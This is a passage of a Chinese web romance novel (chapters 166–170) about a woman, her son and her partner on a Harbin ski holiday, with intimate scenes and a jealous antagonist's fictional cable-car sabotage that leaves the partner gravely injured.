高山远的脸色越来越难看,手里的签字笔被他“咔嚓”一声,硬生生掰成了两段。
“她凭什么?”他喃喃自语,声音里透着一股令人毛骨悚然的偏执,“她应该跪在我脚下,求我赏她一口饭吃,这才对。”
谭蔚然听得心惊肉跳,他知道,自己这位老板的心理已经扭曲到了一个非常可怕的地步。
“先生,那我们现在怎么办?”
高山远站起身,走到窗边,看着外面灰蒙蒙的天空,眼神晦暗不明。
“她不是喜欢滑雪吗?”他忽然扯出一个诡异的笑容,“那我就送她一份新年大礼。”
他转过身,看着谭蔚然,一字一顿地吩咐道:“给我订最快一班去哈市的机票。另外,联系我们在那边的人,让他们准备一下。”
“准备什么?”谭蔚然有种不好的预感。
高山远的笑容越发阴冷,“准备一场意外。一场能让他们一家三口,永远都回不来的意外。”
谭蔚然倒吸一口凉气,他没想到,高山远竟然真的起了杀心。
他只能祈祷,舒星若他们,自求多福吧。
第166章 六年了,终于再次见到她
经过几个小时的飞行,飞机准时抵达哈市机场。
苏容泽笑着说:“你们运气真好,难得飞哈市的飞机不晚点。”
季知许傲娇的扬起小脸,“有苏叔叔和妈妈在,我的运气就是最好的。”
苏容泽笑:“那是当然。”
他们前脚刚到,高山远后脚就到了。在取行李的大厅,高山远冷冷的望着他们。
他的心口起伏,六年了,他还是见到了舒星若。
她尽管已经生了孩子,但是脸上没有任何变化,连眼神都很清澈。
谭蔚然小心翼翼的问:“高总,我们现在要行动吗?”
望着如此美好的舒星若,高山远心里纠结万分,沉默了许久说道:“暂时不急。”
舒星若他们三人走出机场,一股夹杂着雪松气息的冷冽空气扑面而来。
零下三十多的气温,寒风掠过,仿佛将整个身体穿透,冻得人直打哆嗦。
这是舒星若和季知许第一次到北方,望着机场外的银装素裹,两人都觉得十分新奇。
度假村派来的专车早已等候在外面。
是一辆黑色的豪华商务车,宽敞舒适,车里开着暖气,还准备了热奶茶和精致的点心。
季知许喝着奶茶,小脸兴奋得通红,一路上叽叽喳喳地说个不停。
“苏叔叔,我们在这里待几天啊?”
“你想待几天都可以。”反正幼儿园小朋友请假不影响功课,忙活了许久,他想带着舒星若轻松轻松。
季知许亲了苏容泽的脸颊一口:“苏叔叔是天底下最好的人。”
苏容泽心情大好,捏捏他的小圆脸:“你开心就好。”
“马屁精,”舒星若娇嗔道:“元旦假期之后我要忙,最多待五六天吧。”
苏容泽一脸宠溺:“好,听你的。等你忙完,我们再玩个痛快。”
从机场到度假村,需要两个小时左右的车程。
沿途的风景美得像一幅雪白的画卷。
白雪皑皑的山脉连绵起伏,山间的针叶林挂满了晶莹的冰柱。
舒星若靠在苏容泽的肩上,看着窗外的雪景,心情前所未有的放松。
“真美。”她由衷地感叹道。
“你喜欢就好。”苏容泽握着她的手,放在自己的腿上,轻轻地摩挲着,“以后每年冬天,我都带你们来。”
“好啊。”舒星若笑着应下。
她喜欢这种感觉,有人把她的喜好放在心上,有人愿意为她规划未来。
两个小时后,车子缓缓驶入了一家名为“雪绒花”的顶级滑雪度假村。
度假村坐落在半山腰上,私密性极好,由一栋主楼和十几栋独立的别墅组成。
苏容泽预订的,是其中最大、视野最好的一栋。
别墅是上下两层,带着一个大大的露台。
屋内的装修却极其奢华现代,客厅里有一整面的落地窗,正对着壮丽的雪山,景色极美。
别墅有三个卧室,主卧在二楼。
带着一个独立的衣帽间和超大的浴室,浴室里甚至还有一个可以看雪景的按摩浴缸。
苏容泽最喜欢这个浴缸。
季知许的房间在一楼,房间里布置得像科幻世界,堆满了各种科幻元素,还有一整套的定制乐高。
是苏容泽提前让人准备的,他对舒星若和季知许都很上心。
“哇!这里太棒了!”季知许一进自己的房间,就欢呼着在房间里转圈圈。
舒星若看着儿子开心的样子,脸上也露出了温柔的笑容。
走出房间,苏容泽从背后拥住她,轻声问:“喜欢这里吗?”
“嗯,很喜欢。”舒星若点点头,“谢谢你,为我们安排得这么周到。”
“跟我还客气什么。”苏容泽在她脸颊上亲了一下,“你和许许的事,就是我的事。把你们照顾好,是我最重要的责任。”
他的话,像一股暖流,缓缓淌过舒星若的心田。
她转过身,踮起脚尖,主动吻上了他的唇。
这个吻,很轻,很柔,带着感激和依赖,还有深深的眷恋。
苏容泽愣了一下,随即加深了这个吻,温柔地回应着她。
热吻结束,两人的呼吸都有些微乱。
苏容泽抵着她的额头,眼眸深邃地看着她,“若若,我真想现在就把你就地正法了。”
舒星若的脸“唰”地一下就红了,她轻轻推了他一下,“别闹,许许还在呢。”
“放心,楼上的隔音很好。”苏容泽期待他和舒星若的甜蜜夜晚,特意安排了一个管家在楼下照顾季知许。
不要来打扰他们。
舒星若羞得不敢看他,含糊地“嗯”了一声。
得到了肯定的答复,苏容泽心满意足地笑了。
工作人员上来收拾了行李,两人换上轻便的家居服,随后带着季知许去度假村的主餐厅吃晚餐。
他们点了当地经典的菜肴,量大又地道。
“好好吃!”小家伙吃得开心,他很少吃北方菜,不
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一样的风味让他眼前一亮。
苏容泽笑着给他递过去一杯果汁,“慢点吃,别烫着。”
他一边说,一边自然地拿起餐巾纸,帮季知许擦了擦嘴角的肉汁。
舒星若看着眼前这一幕,心里柔软得一塌糊涂。
苏容泽照顾起孩子来,自然又细致。
他会耐心地听许许讲学校里的趣事,会认真地回答他那些天马行空的问题,会把他爱吃的菜夹到他的碗里。
不知道的人,真的会以为他们就是一家三口。
吃完饭,三人手牵着手,在度假村里散步。
夜幕已经降临,天空中繁星点点,亮得惊人。
整个度假村都被笼罩在一片温暖的灯光下,远处雪山的轮廓在星光下若隐若现,美得不真实。
季知许第一次看到这么美的雪景,兴奋地在雪地里跑来跑去,还抓起一团雪,捏成一个雪球,朝苏容泽扔了过去。
苏容泽笑着躲开,也弯腰团起一个雪球,回敬了过去。
一大一小两个人,很快就在雪地里打起了雪仗,笑声和叫喊声在寂静的夜空里传出很远。
舒星若站在一旁,裹着厚厚的羽绒服,双手插在口袋里,微笑着看着他们胡闹。
曾几何时,她也幻想过这样的场景。幻想过季宴礼能陪着她和儿子,在雪地里嬉戏。
可那六年里,他从来不带他们出来度假。
他厌恶在外面承认他们的身份,让外界一直以为他是单身。
可能他只想“冰清玉洁”的等他的白月光,不愿意承认这段婚姻。
也好,幸亏他的不愿意。
不然,她又怎么会遇到苏容泽,又怎么会拥有现在这样简单而又纯粹的快乐?
“妈妈,快来一起玩啊!”季知许朝她招手。
“来了!”舒星若笑着跑了过去,加入了他们的战局。
三个人在雪地里追逐打闹,笑得前仰后合,直到玩得筋疲力尽,才手牵着手,慢悠悠地走回别墅。
回到别墅,舒星若先带季知许去洗了个热水澡,然后把他抱到床上,给他讲睡前故事。
小家伙今天玩得太疯了,故事还没讲完,就歪着头,沉沉地睡了过去。
舒星若替盖好被子,在他额头上亲了一下,回了二楼主卧。
苏容泽已经放好了洗澡水,正靠在壁炉边的沙发上等她。
看到她出来,他朝她伸出手,笑着说:“我的女王陛下,您的专属按摩浴缸,已经准备好了。”
第167章 浴缸里的体验
舒星若看着苏容泽眼里的狡猾笑意,脸颊微微发烫,知道这货又在胡思乱想了,却还是将手放入了他的掌心。
他的手温暖而干燥,包裹着她的手,温暖缓缓传递着。
他牵着她,快步走进了浴室里。
浴室里雾气氤氲,空气中弥漫着香薰的味道。
超大的按摩浴缸里,水面上漂浮着一层粉色的玫瑰花瓣。
舒星若的心跳不由得快了几分。
这是要洗鸳鸯浴,她即使跟苏容泽已经深入交流几次了,但共浴这种事,她还是觉得有点害羞。
苏容泽从背后环住她的腰,温热的呼吸喷洒在她的耳畔,声音低沉而性感:“喜欢我为你准备的惊喜吗?”
“你……”舒星若的声音有些发颤,“你什么时候准备的?”
“在你给许许讲故事的时候。”他轻笑一声,吻了吻她的耳垂,“快去吧,水温刚刚好。”
舒星若感觉自己的身体都快要烧起来了。
她挣开他的怀抱,逃也似的走进了浴室,关上了门。
靠在门上,她还能听到自己如擂鼓般的心跳声。
这个男人,总是有办法让她心慌意乱。
她褪去衣物,缓缓踏入浴缸。
温热的水流包裹着她的身体,舒缓了她一天的疲惫。
浴缸的按摩功能恰到好处地冲击着她的穴位,让她舒服得几乎要呻吟出声。
她闭上眼睛,享受着这难得的宁静和放松。
没过多久,浴室的门被推开。
苏容泽穿着一件深蓝色的丝质睡袍,腰带松松地系着,露出结实性感的胸膛。
“一个人泡澡,会不会太无聊了?”他弯下腰,凝视着她,眼眸里燃着两簇火焰。
舒星若被他看得有些不自在,下意识地往水里缩了缩,用泡沫和花瓣遮住自己的身体。
“我快洗好了。”
“不急。”苏容泽笑着,也脱掉了睡袍,跨进了浴缸。
浴缸很大,容纳两个人绰绰有余。
他从她身后坐下,将她整个人圈在怀里,让她靠在自己坚实的胸膛上。
舒星若的身体瞬间僵硬了。
“别紧张,放松。”他握住她的手,声音温柔又魅惑,笑容邪魅,“我不光想和你一起泡澡,还想试试其他的体验。”
舒星若颤声问道:“在…在浴缸里?”
她刚说完,苏容泽的唇已经覆了上来。
他的吻技最近愈发好了,让舒星若沦陷其中。
身体任由他摆弄,他调整到最佳姿势,轻松的让情欲到达了巅峰。
舒星若环着他紧实的腰,感受着他的冲锋陷阵,整个人在微颤中欲仙欲死。
原来在水中这样的有趣。
第二天,阳光明媚。
苏容泽醒来之后缠着舒星若又要了一次,度假期间,他就要恣意妄为。
舒星若也享受他带来的极致体验,趴在他胸口大口喘息,脸上的红润显得愈发娇嫩。
这男人果然是妲己,勾得她愈发色气了。
纵情之后,两人才缓缓下楼吃早餐。
季知许觉得妈妈只要跟苏容泽在一起,就容光焕发,他由衷的替妈妈高兴。
早餐之后,三人换上滑雪服,带上装备,直奔度假村的私人滑雪场。
这里的雪道分为初、中、高三个等级,可以满足不同水平的滑雪爱好者的需求。
苏容泽是个滑雪高手,以前每年他都要滑几次雪,滑雪的姿势又帅又专业。
舒星若和季知许是个彻头彻尾的新手。
苏容泽特意为他请了一位专业的儿童滑雪教练。
小家伙穿上小小的滑雪服,戴上头盔和护目镜,看起来像个圆滚滚的小企鹅,可爱极了。
教练先是在平地上教他一些基本动作,比如如何穿脱雪板,如何摔倒后自己站起来,如何用内八字刹车。
季知许学得很认真,虽然一开始总是摔跤,但他一点也不气馁,每次摔倒了,都自己嘿嘿笑着爬起来,继续练习。
苏容泽和舒星若就在不远处的初级雪道上,苏容泽教了她一些基础知识,她运动天赋不错,很快就可以简单的滑行。
两人相视一笑,继续在雪道上滑行。阳光洒在洁白的雪地上,反射出耀眼的光芒。
他们一前一后,在雪道上划出两道优美的弧线,像是一对比翼齐飞的鸟儿。
到了中午,季知许已经能在教练的保护下,从最短最缓的“魔毯”上滑下来了。
小家伙兴奋地朝舒星若和苏容泽挥手,大声喊道:“妈妈,苏叔叔,你们看,我会滑了!”
“许许真棒!”舒星若朝他竖起了大拇指。
苏容泽更是直接滑了过去,一把将小家伙抱了起来,在他脸上亲了一口,“厉害啊,我的大宝贝!”
季知许被他夸得有些不好意思,但心里却美滋滋的。
三人一起去雪场旁的餐厅吃午饭。
餐厅是自助式的,菜品很丰富。季知许饿坏了,自己拿了个盘子,装了满满一盘子的薯条、炸鸡和意面。
苏容泽看着他盘子里的“垃圾食
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品”,无奈地摇了摇头,又去给他拿了一些蔬菜沙拉和水果。
“光吃这些没营养,蔬菜也要吃。”
他把沙拉放到季知许面前,语气虽然是命令,但眼神却充满了宠溺。
季知许皱了皱小眉头,显然是不太情愿。
舒星若在一旁看着,笑着说:“听苏叔叔的话,吃完蔬菜,下午才有力气继续滑雪哦。”
听到“滑雪”两个字,季知许这才不情不愿地拿起叉子,像吃药一样的吃起沙拉。
舒星若看得一阵好笑,终于有人能制住这个小家伙了。
苏容泽在教育孩子这件事上,还真有一套。
他不会一味地溺爱,也不会过分地严厉,而且懂得恩威并施,张弛有度。
午餐之后,他们回别墅休息了一个多小时,又回到了滑雪场。
苏容泽辞退了教练,决定亲自教季知许。
他先是带着季知许,在初级雪道上反复练习刹车和转弯。
他的教学方式很有耐心,也很有趣。
他不会讲那些枯燥的理论,而是用各种形象的比喻,比如把转弯说成是“切披萨”,把刹车说成是“推开一扇大门”。
季知许学得很快,渐渐地,已经可以自己控制速度和方向了。
最后,苏容泽牵着他的手,带着他从初级雪道的顶端,一口气滑了下来。
虽然速度不快,但对于一个第一天学滑雪的孩子来说,已经是非常了不起的成就了。
滑到终点,季知许兴奋地摘下护目镜,小脸因为激动和寒冷,涨得通红。
“苏叔叔,我滑下来了,我自己滑下来了呢!”
“对,你做到了!”苏容泽笑着揉了揉他的头,“我就知道,你肯定行。”
舒星若在终点等他们,看到儿子脸上那灿烂的、充满自信的笑容,她的眼眶微微有些发热。
这份自信,不仅仅是因为他学会了滑雪,更是因为,他感受到了来自“父亲”的肯定和鼓励。
这是季宴礼,从来没有给过他的东西。
她走过去,张开双臂,将一大一小两个男人,都抱进了怀里。
“你们都是最棒的。”她笑着说。
夕阳的余晖洒在他们身上,将三个人的影子拉得很长很长,紧紧地依偎在一起。
这一刻,他们看起来,就像是世界上最幸福的一家人。
至少在高山远的心里是这样,他贪婪的望着他们,眼里充满了愤懑。
他偏执的想,如果他母亲还在,他也可以这样幸福的。
第168章 苏容泽,你腰不酸的吗?
夜色渐深,别墅里温暖如春。
季知许早已在自己的房间里进入了梦乡,整个房间都安静下来,只剩下彼此的呼吸和心跳声。
舒星若洗完澡,穿着一件酒红色的真丝睡裙,蜷缩在苏容泽的怀里。
她的头发半干,带着洗发水的清香,丝丝缕缕地拂过苏容泽的下巴,他的心神荡漾了起来。
苏容泽搂着她,手里拿着一本厚厚的拉丁文原版书,正在低声为她朗读。
他的声音低沉而富有磁性,像大提琴的旋律,在静谧的夜里缓缓流淌。
舒星若会拉丁文,这本书讲了一个很美好的故事,听着叫人心情愉悦。
她像一只慵懒的猫咪,在他怀里找了个舒服的姿势,闭上眼睛,享受着这温情时刻。
“在想什么?”苏容泽忽然停了下来,低头看着她。
“在想,今天真开心。”舒星若睁开眼睛,仰头看着他线条分明的下颌线,“我们很像一家三口,谢谢你为我们做的一切。”
苏容泽放下书,将她抱得更紧了些。
“许许今天确实很棒。”他笑着说,“他骨子里有股韧劲,摔倒了多少次都不哭,拍拍屁股就站起来。这一点,跟你一模一样。”
“我哪有那么坚强?”舒星若小声反驳。
“你有。”苏容泽的语气很肯定,“你只是习惯了把脆弱的一面藏起来。但是若若,在我面前,你不需要伪装。你可以哭,可以闹,可以不讲道理,我都会无条件地包容你。”
他的话,像一根羽毛,轻轻地刮着舒星若的心。
她抬起头,看着他深邃的眼眸,那里面盛满了化不开的柔情和宠溺。
“容泽,”她轻声唤他的名字,“你为什么对我这么好?”
好到让她觉得不真实,好到让她害怕这只是一场随时会醒来的美梦。
苏容泽闻言,轻笑一声,低头吻了吻她的额头。
“傻瓜,对你好,还需要理由吗?”他凝视着她,眼神认真而专注,“如果非要一个理由,那就是,我爱你,爱到骨子里去了。”
“从我第一次在度假村见到你,我就被你吸引了。听到你已经结婚生子,我很失望。得知你们感情不好,你不知道我有多高兴。”
“我看着你一步步从那个压抑的壳子里走出来,变得越来越耀眼,越来越自信。看着你在实验室里通宵达旦,给我外婆治病时的自信。那个时候我就在想,只要你离婚,我一定要把你追到手。”
“我承认,一开始接近你,是带着一些好奇和征服欲。我想知道,是怎样的男人,才会舍得放开你这么好的女人。”
“越是跟你接触,我就愈发沉沦。我被你的坚韧、你的善良、你的才华深深吸引。我心疼你的过去,更想参与你的未来。我想保护你,想让你每天都开开心心的,想让你重新相信爱情。”
“若若,我爱你,不是一时兴起,而是蓄谋已久,是情不自禁。”
他的一番话,说得舒星若眼眶都红了。
“我……”她想说些什么,喉咙却像是被堵住了一样,一个字都说不出来。
苏容泽看着她眼里的水光,心疼地低下头,轻轻吻去她眼角的泪珠。
他的吻,温柔而缠绵。
从她的眼睛,到她的鼻尖,再到她的嘴唇。
“别哭。”他含糊不清地说,“我最看不得你掉眼泪。”
这个吻,逐渐变得炙热而深入。他不再满足于浅尝辄止,而是撬开她的贝齿,攻城略地,攫取着她口中的每一寸甜蜜。
舒星若被他吻得浑身发软,只能攀着他的肩膀,承受着他**般的热情。
睡裙的肩带不知何时滑落,露出她圆润白皙的香肩。
苏容泽的吻,顺着她的脖颈,一路向下,在她精致的锁骨上,留下一个个暧昧的红痕。
“若若……”他的声音嘶哑得不成样子,充满了情欲,“我们今天在大床上?”
舒星若的理智早已被他撩拨得七零八落,她看着他布满情欲的眼睛,羞涩地点了点头。
得到她的允许,苏容泽再也克制不住,他一把将她打横抱起。
他将她轻
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轻地放在柔软的大床上,然后俯身压了上来。
房间里两个人影交叠,他用最原始的方式,一遍又一遍地,向她证明着自己的爱意。
他不知疲倦地索取,她也毫无保留地给予。
他们是彼此的解药,也是彼此的**。
第二天,舒星若是在一阵酸痛中醒来的。
她动了动身体,感觉自己像是被卡车碾过一样,浑身上下没有一处不疼的。
罪魁祸首正睡在她的身侧,一只手臂还霸道地圈在她的腰上。
她转过头,看着他熟睡的英俊脸庞,又羞又气,伸出手,在他结实的胸膛上不轻不重地捶了一下。
这个男人,就是个不知餍足的禽兽!
昨晚要了好几次,明明滑了一天的雪,他的精力居然还这么旺盛。
苏容泽被她吵醒,缓缓睁开眼睛,看到她气鼓鼓的样子,低笑一声,将她往怀里又揽了揽:“醒了?还要吗?”
舒星若的脸“轰”的一下就红了,她把脸埋进被子里,闷声闷气地说:“不要了。”
再要她骨头真的要散架了。
苏容泽笑得胸膛都在震动,他把她从被子里挖出来,在她唇上啄了一下。
“怪我,怪我。主要是我的女王陛下太迷人了,我一时没控制住。”
他的甜言蜜语,让舒星若心里的那点气瞬间就消了。
她瞪了他一眼,挣扎着要起床,“快起来,许许该醒了。”
“不急。”苏容泽却不肯放手,将她压在身下,又索取了一个缠绵的早安吻,直到她快要喘不过气来,才意犹未尽地放开她。
“好了,快去洗漱吧。”他拍了拍她的屁股,语气里充满了宠溺。
舒星若逃也似的跑进了浴室。
自己眼角眉梢都带着春意的模样,还有脖子上那些无法遮掩的暧昧痕迹。
谁说他是禁欲系男神的?纯纯的胡说八道。
就在舒星若和苏容泽享受着甜蜜的二人世界时,高山远站在另一套别墅的阳台上,举着一个高倍望远镜,对着二人的房间。
第169章 苏容泽死死的护住了他们
来的这一整天,他都在观察他们。
他们是如此的幸福,显得自己凄凉又孤独。
“舒星若,你的好日子到头了!”他喃喃自语道。
“先生。”谭蔚然从屋里走出来,小心翼翼地开口,“都安排好了。通往后山高级雪道的那条缆车线路,我们的人已经动了手脚。那条雪道偏僻,雪况复杂,平时就没什么人去。只要他们在特定的时间坐上那趟缆车,到了最高点,缆车会发生‘故障’,剧烈晃动,导致悬挂的缆车厢坠落。”
“坠落点我们也计算过了,会引发一场小规模的雪崩。到时候,就算是专业的救援队,也很难在短时间内找到他们。一切都会被掩盖成一场意外。”
高山远听着,嘴角勾起一个残忍的弧度。“做得很好。”
舒星若因为浑身酸软赖到快中午才起床,苏容泽陪着她赖床。
她捶了他好几下,都被苏容泽笑着抓住了手,按在床上又亲了个够本。
季知许早就被管家带着去儿童乐园玩了,小家伙精力旺盛,玩得格外开心。
两人慢悠悠地吃过午饭,才换上滑雪服,去滑雪场找儿子。
今天的天气比昨天更好,阳光灿烂,雪地反射着金色的光,一点也不觉得冷。
苏容泽是个滑雪高手,昨天教会了舒星若基本技巧后,今天便开始教她更有难度的转弯和滑行姿势。
他的身体贴着她的后背,双手握着她的手,带着她在雪道上滑行,温热的呼吸喷在她的耳边。
“放松,身体重心向前,感觉雪板在你脚下的延伸。”他的声音低沉又有耐心,像个专业的教练。
舒星若的运动天赋不错,很快就掌握了要领,可以自己一个人稳稳当当地滑行。
她回头冲着苏容泽笑,阳光下,她的笑容比雪还要晃眼。
苏容泽的心里软成了一片。
他滑到她身边,牵起她的手,“滑得不错,我的女王陛下。”
“那当然,也不看是谁教的。”舒星若得意地扬了扬下巴。
两人正笑着,就看到季知许在教练的带领下,从不远处的雪坡上滑了下来,小小的身体控制得有模有样。
“妈妈,苏叔叔!”季知许滑到他们面前停住,兴奋地摘下护目镜,小脸红扑扑的,“教练说我进步很快,可以去中级雪道了!”
“真的吗?我们许许这么厉害!”舒星若惊喜地摸了摸儿子的头。
苏容泽也笑着夸奖:“许许真优秀,我学滑雪的时候都没你这么快。”
季知许被苏容泽夸得心花怒放,搂着苏容泽的脖子,激动的小声说:“苏叔叔,等你和妈妈结婚了,我就叫你爸爸。”
这话直接把苏容泽吊成了翘嘴,“好,等你妈妈同意。”
一旁的舒星若问:“说什么呢?看把你乐得。”
季知许说:“我们再说男人之间的秘密。”
舒星若含笑道:“切,我还不乐意听。”
雪场的角落里高山远盯着平板上的监控,镜头里,苏容泽正提议带舒星若和季知许去挑战一下风景更好、也更刺激的后山雪道。
舒星若有些犹豫,但季知许却兴奋地直拍手。
“妈妈,去嘛去嘛!我想看更漂亮的风景!”
苏容泽笑着揉了揉季知许的头,对舒星若说:“放心,那条雪道虽然是高级道,但有一段相对平缓,很安全。我会牵着你们,保证万无一失。”
看着他那副自信满满、胜券在握的样子,高山远眼里的怨毒更深了。
保证万无一失?苏容泽,我倒要看看,你怎么带着他们从地狱里爬回来!
在苏容泽的保证和季知许的央求下,舒星若最终还是同意了。
三人一起走向通往后山雪道的缆车。
谭蔚然看着他们走进那个被标记的缆车车厢,心都提到了嗓子眼,他小声问:“先生,真的要这么做吗?那孩子是无辜的。”
“无辜?”高山远冷笑一声,声音里没有一丝温度,“他是舒星若的儿子,他就该死。我就是要让她尝尝,失去亲人的滋味。我就是要让她一无所有,跪在我面前摇尾乞怜!”
他的神情已经近乎疯狂,谭蔚然不敢再多说一个字,只能在心里默默祈祷。
缆车缓缓启动,平稳地向山顶攀升。
车厢里,季知许兴奋地趴在窗户上,看着脚下的雪山和森林变得越来越小。
“哇!好高啊!苏叔叔,我们像不像在飞?”
“像。”苏容泽笑着,将舒星若揽进怀里,让她也靠着窗户看风景。
随着海拔的升高,眼前的景象愈发壮丽。
连绵的雪山在阳光下泛着圣洁的光,广袤的原始森林像一张巨大的白色地毯铺展开来。
“真美。”舒星若靠在苏容泽的肩膀上,由衷地感叹。
“是啊。”苏容泽低头,在她额上印下一个吻。“有机会我们去瑞士,那边也很美。”
“好!”
她完全没有注意到,缆车已经攀升到了一个极高的高度,四周变得异常安静,前后都看不到其他的缆车。
就在缆车即将到达山顶平台时,异变陡生!
车厢外突然发出一声刺耳的金属摩擦声,随即猛地向下一沉!
“啊!”季知许被这突如其来的失重感吓得尖叫起来。
舒星若也脸色一白,下意识地抱紧了儿子。
“别怕!”苏容泽第一时间将母子二人紧紧护在怀里,脸色凝重地看向外面。
只见悬挂着车厢的钢缆正在剧烈地抖动,发出不堪重负的“咯吱”声。
车厢像个失控的钟摆,在空中疯狂摇晃,每一次晃动都让他们的心沉入谷底。
“怎么回事?”舒星若的声音在发抖。
苏容泽的脑子飞速运转。这不是普通的故障!雪场的缆车每天晚上都有人检查,不可能发生这种程度的剧烈晃动,除非是人为的!
有人想让他们死!
苏容泽的脑子里瞬间闪过高山远的名字,莫非是这个疯批干的?
这个念头一冒出来,迅速地让他浑身血液都冷了下来。
“抓紧我!”他大吼一声。
话音刚落,头顶传来“砰”的一声巨响,是金属断裂的声音。
紧接着,整个车厢失去了所有支撑,如同一颗陨石,朝着下方陡峭的山崖笔直地坠落下去!
舒星若和季知许尖叫了起来,苏容泽死死的护着他们。
此时他脑海里只有一个念头,一定要护住他们。
失
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重感和死亡的恐惧瞬间攫住了舒星若的全部感官,她的大脑一片空白,只能凭着本能,死死地抱着怀里的季知许。
电光石火之间,苏容泽做出了一个赴死的决定。
他用尽全身的力气,将舒星若和季知许的身体翻转过来,用自己的后背和血肉之躯,死死地护住了他们。
他将他们压在身下,形成了一个坚固的保护屏障。
“容泽!”舒星若惊恐地大喊。
她只来得及看到他最后一眼,那双总是盛满温柔和爱意的眼睛里,此刻写满了决绝和不舍。
“若若,带许许活下去。我爱你!”
“轰——!”
一声震耳欲聋的巨响,缆车狠狠地砸在了山崖的积雪上,巨大的冲击力让整个车体瞬间变形碎裂。
与此同时,高处山坡上不稳定的积雪层,被这剧烈的撞击所引动。
“轰隆隆……”
沉闷的响声从头顶传来,舒星若艰难地抬起头,透过破碎的车窗,看到了让她毕生难忘的恐怖景象。
白色的巨浪,铺天盖地,以雷霆万钧之势,从山顶咆哮而下。
冰冷和黑暗瞬间吞噬了她。
在失去意识的最后一秒,她感觉到的,是身上男人沉重的身体,和耳边他最后那句叮嘱。
别墅阳台上,高山远透过望远镜,清晰地看到了那团白色的烟尘,如何吞没了那个小小的缆车残骸。
他慢慢地放下望远镜,脸上露出了一个心满意足的、扭曲的笑容。
白茫茫的雪地里,一切都恢复了死寂。
只有被砸得严重变形的缆车残骸,和周围大片被翻动过的、混杂着泥土和碎石的雪,昭示着刚刚发生的一切。
过了一会,一只沾满血污的手,从雪堆里艰难地伸了出来。
舒星若猛地咳出一口雪,大口大口地呼吸着冰冷的空气。
她竟然还活着。
苏容泽用身体护住了她和孩子。
“容泽,容泽!”她像是疯了一样,用手疯狂地刨着压在身上的雪和残骸。
很快,她就看到了压在她身上的男人。
他一动不动,后背血肉模糊,鲜红的血液染透了他白色的滑雪服,在洁白的雪地上,刺眼得让她几乎要晕厥过去。
“容泽,你醒醒!你看看我!”她哭喊着。
她颤抖着手,去摸他颈部的脉搏。
微弱,但还有。
“许许、许许!”她又想起了儿子。
她费力地挪开苏容泽的身体,发现季知许被他们两人夹在中间,除了受到惊吓,身上只有一些擦伤,没有任何问题。
“妈妈……”季知许被这突如其来的变故吓坏了,哇的一声哭了出来。
“别怕,宝宝别怕,妈妈在。”舒星若紧紧地抱着儿子,眼泪却止不住地往下掉。
她抬起头,看着昏迷不醒、生死不知的苏容泽,巨大的恐慌和绝望,像潮水一样将她淹没。
苏容泽不能死!
“来人啊,救命啊!有没有人!”
她用尽全身的力气,朝着空旷的雪山声嘶力竭地呼喊着。
回应她的,只有呼啸而过的山风。
舒星若的内心被绝望淹没,但她不能放弃,她不能眼睁睁的看着爱人逝去。
第170章 家属要有心理准备
舒星若不知道自己喊了多久,嗓子已经完全哑了,喊出来的都只是破碎的气音。
她不能放弃。
“许许,帮妈妈捡树枝。”
她用捡来的树枝拼出一个大大SOS,等待上面的人看见。
季知许的小脸冻得发紫。
零下几十度的低温,正在快速吞噬着他们的体温。
舒星若知道,如果再等不到救援,他们三个都会冻死在这里。
她将苏容泽抱在怀里,他的脸苍白得像一张纸,嘴唇毫无血色,额角上有一道很深的伤口,还在不停地往外渗血。
“容泽,你撑住,你一定要撑住!”舒星若用手死死按住他的伤口。
她用尽自己所有的医学知识,检查着他的情况。
脉搏微弱,呼吸不规律,瞳孔对光反射迟钝……种种迹象都表明,他颅内损伤严重,情况万分危急。
怎么办?到底该怎么办?
就在舒星若快要绝望的时候,远处的天空中,终于出现了一个小黑点。
是直升机!
救援队来了!
舒星若像是抓住了最后一根救命稻草,拼命地朝着直升机的方向挥手。
很快,直升机发现了地上的他们,在他们不远处的一块平地上降落。
几名穿着橙色救援服的队员,带着急救设备,飞奔而来。
“这里有伤员!快!”
看到救援人员,舒星若紧绷的神经终于断了,眼前一黑,差点栽倒在地。
“女士,你还好吗?”一名救援队员扶住了她。
“我没事,快救他,快救他!”她指着地上的苏容泽,大声呼喊着。
救援人员立刻对苏容泽展开了现场急救,固定头部、输氧、建立静脉通道,一切都有条不紊地进行着。
舒星若抱着季知许,呆呆地站在一旁,看着他们忙碌,感觉自己的灵魂都像是被抽空了。
很快,苏容泽被抬上了担架,送上了直升机。
舒星若和季知许也跟着上了飞机。
螺旋桨巨大的轰鸣声中,直升机拔地而起。
舒星若透过舷窗,看着下方那片被鲜血和残骸污染的雪地,心里一片冰冷。
她脑海里闪过在缆车上,苏容泽最后那决绝的眼神和嘶哑的叮嘱。他一定是在那个时候就意识到了危险。
是谁?到底是谁这么恶毒,要置他们于死地?
一个名字,毫无预兆地跳进了她的脑海。
高山远。
除了这个疯子,她想不到第二个人。
一股彻骨的寒意,从脚底直冲天灵盖。如果真的是他,那这个人的心机和手段,也太可怕了。
直升机直接降落在了哈市最好的一家医院楼顶。
苏容泽被第一时间送进了抢救室。
舒星若抱着还在发抖的季知许,失魂落魄地跟在后面,被护士拦在了抢救室门外。
“家属在外面等着。”
冰冷的铁门“砰”的一声关上,隔绝了她所有的视线。
抢救室门顶上那盏红色的灯,像一只嗜血的眼睛,刺得她眼睛生疼。
时间一分一秒地过去,每一秒都像一个世纪那么漫长。
舒星若抱着儿子,无力地靠着墙壁滑坐在地上。
她的大脑一片混乱,各种可怕的念头不受控制地往外冒。
他会死吗?
他会不会再也醒不过来了?
如果他真的出了什么事,她该怎么办?她她要怎么度过自己的余生?
不,不会的。他那么好,老天爷不会对他这么残忍的。
他答应过她,要每年都带她和许许来滑雪。
他答应过她,要让她重新相信爱情。
他还说,爱她,是蓄谋已久,是情不自禁。
那些甜蜜的话语还言犹在耳,可说这些话的人,此刻却躺在抢救室里,生死未卜。
“妈妈……”季知许小声地叫她,小手紧紧地抓着她的衣服,“苏叔叔会没事的,对不对?”
舒星若看着儿子那张写满了恐惧和不安的小脸,心如刀割。
她强忍着眼泪,挤出一个比哭还难看的笑容,摸了摸他的头:“对,苏叔叔是超人,他一定会没事的。他还要教许许滑雪,还要带我们去好多好多好玩的地方呢。”
她的话,不知道是在安慰儿子,还是在安慰她自己。
她联系了度假村的经理,拜托对方派一个可靠的女性工作人员过来,帮忙照顾一下季知许。
她现在这个状态,根本没办法照顾好孩子。
等待的时间里,警察也来了,向她询问“事故”发生的经过。
舒星若强迫自己冷静下来,将当时的情况,以及自己的怀疑,都一五一十地告诉了警察。
“警察同志,我怀疑这不是意外,是**。有人在缆车上动了手脚。”
负责做笔录的警察皱了皱眉:“女士,您有证据吗?或者,有怀疑的对象吗?”
